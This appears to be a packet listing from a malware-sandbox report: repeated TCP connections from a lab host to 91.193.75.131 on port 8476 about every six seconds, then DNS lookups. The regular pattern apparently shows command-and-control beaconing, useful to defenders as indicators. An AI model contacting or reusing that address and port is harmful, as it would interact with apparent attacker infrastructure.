May 17, 2022 16:55:57.424423933 CEST	8476	49823	91.193.75.131	192.168.11.20
May 17, 2022 16:55:57.940289021 CEST	49823	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:55:57.971385002 CEST	8476	49823	91.193.75.131	192.168.11.20
May 17, 2022 16:55:58.486983061 CEST	49823	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:55:58.518165112 CEST	8476	49823	91.193.75.131	192.168.11.20
May 17, 2022 16:55:59.018095970 CEST	49823	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:55:59.049026012 CEST	8476	49823	91.193.75.131	192.168.11.20
May 17, 2022 16:56:03.076297045 CEST	49824	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:03.107547045 CEST	8476	49824	91.193.75.131	192.168.11.20
May 17, 2022 16:56:03.610977888 CEST	49824	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:03.642314911 CEST	8476	49824	91.193.75.131	192.168.11.20
May 17, 2022 16:56:04.157612085 CEST	49824	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:04.188728094 CEST	8476	49824	91.193.75.131	192.168.11.20
May 17, 2022 16:56:04.704400063 CEST	49824	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:04.735805035 CEST	8476	49824	91.193.75.131	192.168.11.20
May 17, 2022 16:56:05.251276970 CEST	49824	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:05.282917023 CEST	8476	49824	91.193.75.131	192.168.11.20
May 17, 2022 16:56:09.298651934 CEST	49826	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:09.329870939 CEST	8476	49826	91.193.75.131	192.168.11.20
May 17, 2022 16:56:09.843872070 CEST	49826	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:09.875121117 CEST	8476	49826	91.193.75.131	192.168.11.20
May 17, 2022 16:56:10.390683889 CEST	49826	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:10.421984911 CEST	8476	49826	91.193.75.131	192.168.11.20
May 17, 2022 16:56:10.937402010 CEST	49826	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:10.968521118 CEST	8476	49826	91.193.75.131	192.168.11.20
May 17, 2022 16:56:11.468594074 CEST	49826	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:11.499737978 CEST	8476	49826	91.193.75.131	192.168.11.20
May 17, 2022 16:56:15.516112089 CEST	49828	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:15.547405005 CEST	8476	49828	91.193.75.131	192.168.11.20
May 17, 2022 16:56:16.061352015 CEST	49828	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:16.092654943 CEST	8476	49828	91.193.75.131	192.168.11.20
May 17, 2022 16:56:16.608102083 CEST	49828	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:16.639467955 CEST	8476	49828	91.193.75.131	192.168.11.20
May 17, 2022 16:56:17.139331102 CEST	49828	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:17.170766115 CEST	8476	49828	91.193.75.131	192.168.11.20
May 17, 2022 16:56:17.685981035 CEST	49828	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:17.717269897 CEST	8476	49828	91.193.75.131	192.168.11.20
May 17, 2022 16:56:21.732760906 CEST	49829	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:21.763930082 CEST	8476	49829	91.193.75.131	192.168.11.20
May 17, 2022 16:56:22.278650045 CEST	49829	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:22.309695959 CEST	8476	49829	91.193.75.131	192.168.11.20
May 17, 2022 16:56:22.825366974 CEST	49829	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:22.856506109 CEST	8476	49829	91.193.75.131	192.168.11.20
May 17, 2022 16:56:23.356797934 CEST	49829	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:23.388175964 CEST	8476	49829	91.193.75.131	192.168.11.20
May 17, 2022 16:56:23.903294086 CEST	49829	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:23.934266090 CEST	8476	49829	91.193.75.131	192.168.11.20
May 17, 2022 16:56:27.970374107 CEST	49830	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:28.001497030 CEST	8476	49830	91.193.75.131	192.168.11.20
May 17, 2022 16:56:28.511761904 CEST	49830	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:28.543246031 CEST	8476	49830	91.193.75.131	192.168.11.20
May 17, 2022 16:56:29.058420897 CEST	49830	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:29.089346886 CEST	8476	49830	91.193.75.131	192.168.11.20
May 17, 2022 16:56:29.589493036 CEST	49830	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:29.620682001 CEST	8476	49830	91.193.75.131	192.168.11.20
May 17, 2022 16:56:30.120713949 CEST	49830	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:30.151763916 CEST	8476	49830	91.193.75.131	192.168.11.20
May 17, 2022 16:56:34.180922031 CEST	49831	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:34.211946964 CEST	8476	49831	91.193.75.131	192.168.11.20
May 17, 2022 16:56:34.713437080 CEST	49831	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:34.744594097 CEST	8476	49831	91.193.75.131	192.168.11.20
May 17, 2022 16:56:35.244606018 CEST	49831	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:35.276096106 CEST	8476	49831	91.193.75.131	192.168.11.20
May 17, 2022 16:56:35.791240931 CEST	49831	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:35.822371960 CEST	8476	49831	91.193.75.131	192.168.11.20
May 17, 2022 16:56:36.322545052 CEST	49831	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:36.354063034 CEST	8476	49831	91.193.75.131	192.168.11.20
May 17, 2022 16:56:40.389596939 CEST	49833	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:40.420655966 CEST	8476	49833	91.193.75.131	192.168.11.20
May 17, 2022 16:56:40.930922031 CEST	49833	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:40.962232113 CEST	8476	49833	91.193.75.131	192.168.11.20
May 17, 2022 16:56:41.477576971 CEST	49833	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:41.508717060 CEST	8476	49833	91.193.75.131	192.168.11.20
May 17, 2022 16:56:42.008778095 CEST	49833	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:42.039885998 CEST	8476	49833	91.193.75.131	192.168.11.20
May 17, 2022 16:56:42.539808035 CEST	49833	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:42.570915937 CEST	8476	49833	91.193.75.131	192.168.11.20
May 17, 2022 16:56:46.586339951 CEST	49834	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:46.617481947 CEST	8476	49834	91.193.75.131	192.168.11.20
May 17, 2022 16:56:47.132514000 CEST	49834	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:47.163574934 CEST	8476	49834	91.193.75.131	192.168.11.20
May 17, 2022 16:56:47.679378033 CEST	49834	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:47.710822105 CEST	8476	49834	91.193.75.131	192.168.11.20
May 17, 2022 16:56:48.210563898 CEST	49834	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:48.241965055 CEST	8476	49834	91.193.75.131	192.168.11.20
May 17, 2022 16:56:48.741643906 CEST	49834	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:48.772934914 CEST	8476	49834	91.193.75.131	192.168.11.20
May 17, 2022 16:56:52.789427042 CEST	49836	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:52.820386887 CEST	8476	49836	91.193.75.131	192.168.11.20
May 17, 2022 16:56:53.334430933 CEST	49836	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:53.365952015 CEST	8476	49836	91.193.75.131	192.168.11.20
May 17, 2022 16:56:53.881176949 CEST	49836	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:53.912508011 CEST	8476	49836	91.193.75.131	192.168.11.20
May 17, 2022 16:56:54.427860975 CEST	49836	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:54.458933115 CEST	8476	49836	91.193.75.131	192.168.11.20
May 17, 2022 16:56:54.959059954 CEST	49836	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:54.990108013 CEST	8476	49836	91.193.75.131	192.168.11.20
May 17, 2022 16:56:58.991906881 CEST	49837	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:59.022953987 CEST	8476	49837	91.193.75.131	192.168.11.20
May 17, 2022 16:56:59.531459093 CEST	49837	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:56:59.562829971 CEST	8476	49837	91.193.75.131	192.168.11.20
May 17, 2022 16:57:00.072168112 CEST	49837	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:00.103560925 CEST	8476	49837	91.193.75.131	192.168.11.20
May 17, 2022 16:57:00.604727983 CEST	49837	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:00.635834932 CEST	8476	49837	91.193.75.131	192.168.11.20
May 17, 2022 16:57:01.137447119 CEST	49837	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:01.168250084 CEST	8476	49837	91.193.75.131	192.168.11.20
May 17, 2022 16:57:05.202261925 CEST	49838	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:05.233328104 CEST	8476	49838	91.193.75.131	192.168.11.20
May 17, 2022 16:57:05.734769106 CEST	49838	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:05.765957117 CEST	8476	49838	91.193.75.131	192.168.11.20
May 17, 2022 16:57:06.267571926 CEST	49838	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:06.298850060 CEST	8476	49838	91.193.75.131	192.168.11.20
May 17, 2022 16:57:06.806685925 CEST	49838	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:06.837996006 CEST	8476	49838	91.193.75.131	192.168.11.20
May 17, 2022 16:57:07.354759932 CEST	49838	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:07.386046886 CEST	8476	49838	91.193.75.131	192.168.11.20
May 17, 2022 16:57:11.405229092 CEST	49840	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:11.436415911 CEST	8476	49840	91.193.75.131	192.168.11.20
May 17, 2022 16:57:11.951520920 CEST	49840	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:11.982956886 CEST	8476	49840	91.193.75.131	192.168.11.20
May 17, 2022 16:57:12.498236895 CEST	49840	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:12.529707909 CEST	8476	49840	91.193.75.131	192.168.11.20
May 17, 2022 16:57:13.045008898 CEST	49840	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:13.076287031 CEST	8476	49840	91.193.75.131	192.168.11.20
May 17, 2022 16:57:13.576072931 CEST	49840	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:13.607059956 CEST	8476	49840	91.193.75.131	192.168.11.20
May 17, 2022 16:57:17.636389017 CEST	49841	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:17.667535067 CEST	8476	49841	91.193.75.131	192.168.11.20
May 17, 2022 16:57:18.168884993 CEST	49841	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:18.200122118 CEST	8476	49841	91.193.75.131	192.168.11.20
May 17, 2022 16:57:18.715594053 CEST	49841	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:18.746648073 CEST	8476	49841	91.193.75.131	192.168.11.20
May 17, 2022 16:57:19.262279034 CEST	49841	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:19.293121099 CEST	8476	49841	91.193.75.131	192.168.11.20
May 17, 2022 16:57:19.793577909 CEST	49841	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:19.824881077 CEST	8476	49841	91.193.75.131	192.168.11.20
May 17, 2022 16:57:23.839950085 CEST	49842	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:23.870935917 CEST	8476	49842	91.193.75.131	192.168.11.20
May 17, 2022 16:57:24.386198044 CEST	49842	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:24.417253971 CEST	8476	49842	91.193.75.131	192.168.11.20
May 17, 2022 16:57:24.932861090 CEST	49842	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:24.963901043 CEST	8476	49842	91.193.75.131	192.168.11.20
May 17, 2022 16:57:25.464097977 CEST	49842	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:25.495172024 CEST	8476	49842	91.193.75.131	192.168.11.20
May 17, 2022 16:57:25.995376110 CEST	49842	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:26.026648998 CEST	8476	49842	91.193.75.131	192.168.11.20
May 17, 2022 16:57:30.042067051 CEST	49843	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:30.073411942 CEST	8476	49843	91.193.75.131	192.168.11.20
May 17, 2022 16:57:30.588048935 CEST	49843	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:30.619283915 CEST	8476	49843	91.193.75.131	192.168.11.20
May 17, 2022 16:57:31.134727001 CEST	49843	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:31.165548086 CEST	8476	49843	91.193.75.131	192.168.11.20
May 17, 2022 16:57:31.665994883 CEST	49843	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:31.697058916 CEST	8476	49843	91.193.75.131	192.168.11.20
May 17, 2022 16:57:32.212788105 CEST	49843	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:32.244103909 CEST	8476	49843	91.193.75.131	192.168.11.20
May 17, 2022 16:57:36.259219885 CEST	49845	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:36.290395021 CEST	8476	49845	91.193.75.131	192.168.11.20
May 17, 2022 16:57:36.805304050 CEST	49845	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:36.836414099 CEST	8476	49845	91.193.75.131	192.168.11.20
May 17, 2022 16:57:37.352225065 CEST	49845	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:37.383609056 CEST	8476	49845	91.193.75.131	192.168.11.20
May 17, 2022 16:57:37.899250031 CEST	49845	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:37.930624962 CEST	8476	49845	91.193.75.131	192.168.11.20
May 17, 2022 16:57:38.445673943 CEST	49845	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:38.476979017 CEST	8476	49845	91.193.75.131	192.168.11.20
May 17, 2022 16:57:42.503262997 CEST	49846	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:42.534329891 CEST	8476	49846	91.193.75.131	192.168.11.20
May 17, 2022 16:57:43.038512945 CEST	49846	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:43.069535017 CEST	8476	49846	91.193.75.131	192.168.11.20
May 17, 2022 16:57:43.585324049 CEST	49846	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:43.616657972 CEST	8476	49846	91.193.75.131	192.168.11.20
May 17, 2022 16:57:44.131791115 CEST	49846	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:44.162517071 CEST	8476	49846	91.193.75.131	192.168.11.20
May 17, 2022 16:57:44.663068056 CEST	49846	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:44.694387913 CEST	8476	49846	91.193.75.131	192.168.11.20
May 17, 2022 16:57:48.725935936 CEST	49847	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:48.756813049 CEST	8476	49847	91.193.75.131	192.168.11.20
May 17, 2022 16:57:49.271363020 CEST	49847	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:49.302628040 CEST	8476	49847	91.193.75.131	192.168.11.20
May 17, 2022 16:57:49.818149090 CEST	49847	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:49.849193096 CEST	8476	49847	91.193.75.131	192.168.11.20
May 17, 2022 16:57:50.364878893 CEST	49847	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:50.395838976 CEST	8476	49847	91.193.75.131	192.168.11.20
May 17, 2022 16:57:50.896009922 CEST	49847	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:50.927155018 CEST	8476	49847	91.193.75.131	192.168.11.20
May 17, 2022 16:57:54.970536947 CEST	49848	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:55.001579046 CEST	8476	49848	91.193.75.131	192.168.11.20
May 17, 2022 16:57:55.504551888 CEST	49848	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:55.535794973 CEST	8476	49848	91.193.75.131	192.168.11.20
May 17, 2022 16:57:56.051310062 CEST	49848	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:56.082792044 CEST	8476	49848	91.193.75.131	192.168.11.20
May 17, 2022 16:57:56.597909927 CEST	49848	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:56.628921986 CEST	8476	49848	91.193.75.131	192.168.11.20
May 17, 2022 16:57:57.129024029 CEST	49848	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:57:57.160376072 CEST	8476	49848	91.193.75.131	192.168.11.20
May 17, 2022 16:58:01.178261995 CEST	49849	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:01.209189892 CEST	8476	49849	91.193.75.131	192.168.11.20
May 17, 2022 16:58:01.721710920 CEST	49849	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:01.753041983 CEST	8476	49849	91.193.75.131	192.168.11.20
May 17, 2022 16:58:02.268398046 CEST	49849	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:02.299493074 CEST	8476	49849	91.193.75.131	192.168.11.20
May 17, 2022 16:58:02.815220118 CEST	49849	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:02.846589088 CEST	8476	49849	91.193.75.131	192.168.11.20
May 17, 2022 16:58:03.361959934 CEST	49849	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:03.392862082 CEST	8476	49849	91.193.75.131	192.168.11.20
May 17, 2022 16:58:07.408936024 CEST	49851	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:07.440371037 CEST	8476	49851	91.193.75.131	192.168.11.20
May 17, 2022 16:58:07.954777002 CEST	49851	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:07.986181021 CEST	8476	49851	91.193.75.131	192.168.11.20
May 17, 2022 16:58:08.501493931 CEST	49851	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:08.532561064 CEST	8476	49851	91.193.75.131	192.168.11.20
May 17, 2022 16:58:09.048238993 CEST	49851	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:09.079585075 CEST	8476	49851	91.193.75.131	192.168.11.20
May 17, 2022 16:58:09.594978094 CEST	49851	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:09.626152039 CEST	8476	49851	91.193.75.131	192.168.11.20
May 17, 2022 16:58:13.641702890 CEST	49852	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:13.672586918 CEST	8476	49852	91.193.75.131	192.168.11.20
May 17, 2022 16:58:14.187707901 CEST	49852	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:14.218755960 CEST	8476	49852	91.193.75.131	192.168.11.20
May 17, 2022 16:58:14.734502077 CEST	49852	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:14.765688896 CEST	8476	49852	91.193.75.131	192.168.11.20
May 17, 2022 16:58:15.281353951 CEST	49852	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:15.312721014 CEST	8476	49852	91.193.75.131	192.168.11.20
May 17, 2022 16:58:15.828093052 CEST	49852	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:15.859421968 CEST	8476	49852	91.193.75.131	192.168.11.20
May 17, 2022 16:58:19.887331963 CEST	49853	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:19.918458939 CEST	8476	49853	91.193.75.131	192.168.11.20
May 17, 2022 16:58:20.420770884 CEST	49853	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:20.451888084 CEST	8476	49853	91.193.75.131	192.168.11.20
May 17, 2022 16:58:20.951983929 CEST	49853	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:20.983175993 CEST	8476	49853	91.193.75.131	192.168.11.20
May 17, 2022 16:58:21.483021975 CEST	49853	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:21.514105082 CEST	8476	49853	91.193.75.131	192.168.11.20
May 17, 2022 16:58:22.014290094 CEST	49853	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:22.045758963 CEST	8476	49853	91.193.75.131	192.168.11.20
May 17, 2022 16:58:26.076141119 CEST	49855	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:26.107171059 CEST	8476	49855	91.193.75.131	192.168.11.20
May 17, 2022 16:58:26.622592926 CEST	49855	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:26.654104948 CEST	8476	49855	91.193.75.131	192.168.11.20
May 17, 2022 16:58:27.169328928 CEST	49855	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:27.200959921 CEST	8476	49855	91.193.75.131	192.168.11.20
May 17, 2022 16:58:27.716031075 CEST	49855	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:27.747220993 CEST	8476	49855	91.193.75.131	192.168.11.20
May 17, 2022 16:58:28.247256994 CEST	49855	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:28.278728008 CEST	8476	49855	91.193.75.131	192.168.11.20
May 17, 2022 16:58:32.308532953 CEST	49856	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:32.340230942 CEST	8476	49856	91.193.75.131	192.168.11.20
May 17, 2022 16:58:32.855593920 CEST	49856	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:32.886632919 CEST	8476	49856	91.193.75.131	192.168.11.20
May 17, 2022 16:58:33.402251005 CEST	49856	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:33.433512926 CEST	8476	49856	91.193.75.131	192.168.11.20
May 17, 2022 16:58:33.933489084 CEST	49856	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:33.964623928 CEST	8476	49856	91.193.75.131	192.168.11.20
May 17, 2022 16:58:34.464616060 CEST	49856	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:34.495695114 CEST	8476	49856	91.193.75.131	192.168.11.20
May 17, 2022 16:58:38.511188984 CEST	49858	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:38.542625904 CEST	8476	49858	91.193.75.131	192.168.11.20
May 17, 2022 16:58:39.057315111 CEST	49858	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:39.088776112 CEST	8476	49858	91.193.75.131	192.168.11.20
May 17, 2022 16:58:39.604016066 CEST	49858	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:39.635319948 CEST	8476	49858	91.193.75.131	192.168.11.20
May 17, 2022 16:58:40.150830984 CEST	49858	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:40.182008028 CEST	8476	49858	91.193.75.131	192.168.11.20
May 17, 2022 16:58:40.697482109 CEST	49858	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:40.728575945 CEST	8476	49858	91.193.75.131	192.168.11.20
May 17, 2022 16:58:44.744093895 CEST	49859	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:44.775176048 CEST	8476	49859	91.193.75.131	192.168.11.20
May 17, 2022 16:58:45.290246010 CEST	49859	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:45.321271896 CEST	8476	49859	91.193.75.131	192.168.11.20
May 17, 2022 16:58:45.836988926 CEST	49859	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:45.868062973 CEST	8476	49859	91.193.75.131	192.168.11.20
May 17, 2022 16:58:46.383763075 CEST	49859	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:46.414835930 CEST	8476	49859	91.193.75.131	192.168.11.20
May 17, 2022 16:58:46.915149927 CEST	49859	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:46.946588993 CEST	8476	49859	91.193.75.131	192.168.11.20
May 17, 2022 16:58:50.965689898 CEST	49860	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:50.996998072 CEST	8476	49860	91.193.75.131	192.168.11.20
May 17, 2022 16:58:51.507832050 CEST	49860	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:51.539016962 CEST	8476	49860	91.193.75.131	192.168.11.20
May 17, 2022 16:58:52.054333925 CEST	49860	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:52.085608006 CEST	8476	49860	91.193.75.131	192.168.11.20
May 17, 2022 16:58:52.585671902 CEST	49860	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:52.616939068 CEST	8476	49860	91.193.75.131	192.168.11.20
May 17, 2022 16:58:53.116754055 CEST	49860	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:53.148296118 CEST	8476	49860	91.193.75.131	192.168.11.20
May 17, 2022 16:58:57.177694082 CEST	49861	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:57.208888054 CEST	8476	49861	91.193.75.131	192.168.11.20
May 17, 2022 16:58:57.709383965 CEST	49861	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:57.740374088 CEST	8476	49861	91.193.75.131	192.168.11.20
May 17, 2022 16:58:58.240652084 CEST	49861	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:58.272337914 CEST	8476	49861	91.193.75.131	192.168.11.20
May 17, 2022 16:58:58.787395000 CEST	49861	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:58.818802118 CEST	8476	49861	91.193.75.131	192.168.11.20
May 17, 2022 16:58:59.334038973 CEST	49861	8476	192.168.11.20	91.193.75.131
May 17, 2022 16:58:59.364840984 CEST	8476	49861	91.193.75.131	192.168.11.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 17, 2022 16:51:07.168174028 CEST	61173	53	192.168.11.20	1.1.1.1
May 17, 2022 16:51:07.176810980 CEST	53	61173	1.1.1.1	192.168.11.20
May 17, 2022 16:51:08.151992083 CEST	50544	53	192.168.11.20	1.1.1.1
May 17, 2022 16:51:08.188951969 CEST	53	50544	1.1.1.1	192.168.11.20
May 17, 2022 16:51:10.621761084 CEST	62130	53	192.168.11.20	8.8.8.8
May 17, 2022 16:51:10.632525921 CEST	53	62130	8.8.8.8	192.168.11.20
May 17, 2022 16:51:27.955521107 CEST	64091	53	192.168.11.20	8.8.8.8
May 17, 2022 16:51:27.967823982 CEST	53	64091	8.8.8.8	192.168.11.20
May 17, 2022 16:51:45.443244934 CEST	56468	53	192.168.11.20	8.8.8.8
May 17, 2022 16:51:45.454966068 CEST	53	56468	8.8.8.8	192.168.11.20
May 17, 2022 16:52:43.042437077 CEST	52606	53	192.168.11.20	8.8.8.8
May 17, 2022 16:52:43.052445889 CEST	53	52606	8.8.8.8	192.168.11.20
May 17, 2022 16:52:49.392524958 CEST	61504	53	192.168.11.20	8.8.8.8
May 17, 2022 16:52:49.402622938 CEST	53	61504	8.8.8.8	192.168.11.20
May 17, 2022 16:52:55.725764036 CEST	60379	53	192.168.11.20	8.8.8.8
May 17, 2022 16:52:55.737930059 CEST	53	60379	8.8.8.8	192.168.11.20
May 17, 2022 16:53:20.766439915 CEST	52972	53	192.168.11.20	8.8.8.8
May 17, 2022 16:53:20.774529934 CEST	53	52972	8.8.8.8	192.168.11.20
May 17, 2022 16:53:27.073446035 CEST	61390	53	192.168.11.20	8.8.8.8
May 17, 2022 16:53:27.083282948 CEST	53	61390	8.8.8.8	192.168.11.20
May 17, 2022 16:53:33.349845886 CEST	58965	53	192.168.11.20	8.8.8.8
May 17, 2022 16:53:33.358505964 CEST	53	58965	8.8.8.8	192.168.11.20
May 17, 2022 16:53:58.378402948 CEST	64501	53	192.168.11.20	8.8.8.8
May 17, 2022 16:53:58.389122009 CEST	53	64501	8.8.8.8	192.168.11.20
May 17, 2022 16:54:04.674421072 CEST	64695	53	192.168.11.20	8.8.8.8
May 17, 2022 16:54:04.686652899 CEST	53	64695	8.8.8.8	192.168.11.20
May 17, 2022 16:54:10.949335098 CEST	61671	53	192.168.11.20	8.8.8.8
May 17, 2022 16:54:10.959651947 CEST	53	61671	8.8.8.8	192.168.11.20
May 17, 2022 16:54:35.913575888 CEST	63001	53	192.168.11.20	8.8.8.8
May 17, 2022 16:54:35.924036026 CEST	53	63001	8.8.8.8	192.168.11.20
May 17, 2022 16:54:42.132663965 CEST	50327	53	192.168.11.20	8.8.8.8
May 17, 2022 16:54:42.140944958 CEST	53	50327	8.8.8.8	192.168.11.20
May 17, 2022 16:54:48.357333899 CEST	62516	53	192.168.11.20	8.8.8.8
May 17, 2022 16:54:48.369702101 CEST	53	62516	8.8.8.8	192.168.11.20
May 17, 2022 16:55:13.249352932 CEST	63353	53	192.168.11.20	8.8.8.8
May 17, 2022 16:55:13.259754896 CEST	53	63353	8.8.8.8	192.168.11.20
May 17, 2022 16:55:19.466981888 CEST	60141	53	192.168.11.20	8.8.8.8
May 17, 2022 16:55:19.477248907 CEST	53	60141	8.8.8.8	192.168.11.20
May 17, 2022 16:55:25.684072971 CEST	51024	53	192.168.11.20	8.8.8.8
May 17, 2022 16:55:25.696228027 CEST	53	51024	8.8.8.8	192.168.11.20
May 17, 2022 16:55:50.615978956 CEST	58818	53	192.168.11.20	8.8.8.8
May 17, 2022 16:55:50.628469944 CEST	53	58818	8.8.8.8	192.168.11.20
May 17, 2022 16:55:56.839081049 CEST	54245	53	192.168.11.20	8.8.8.8
May 17, 2022 16:55:56.851109982 CEST	53	54245	8.8.8.8	192.168.11.20
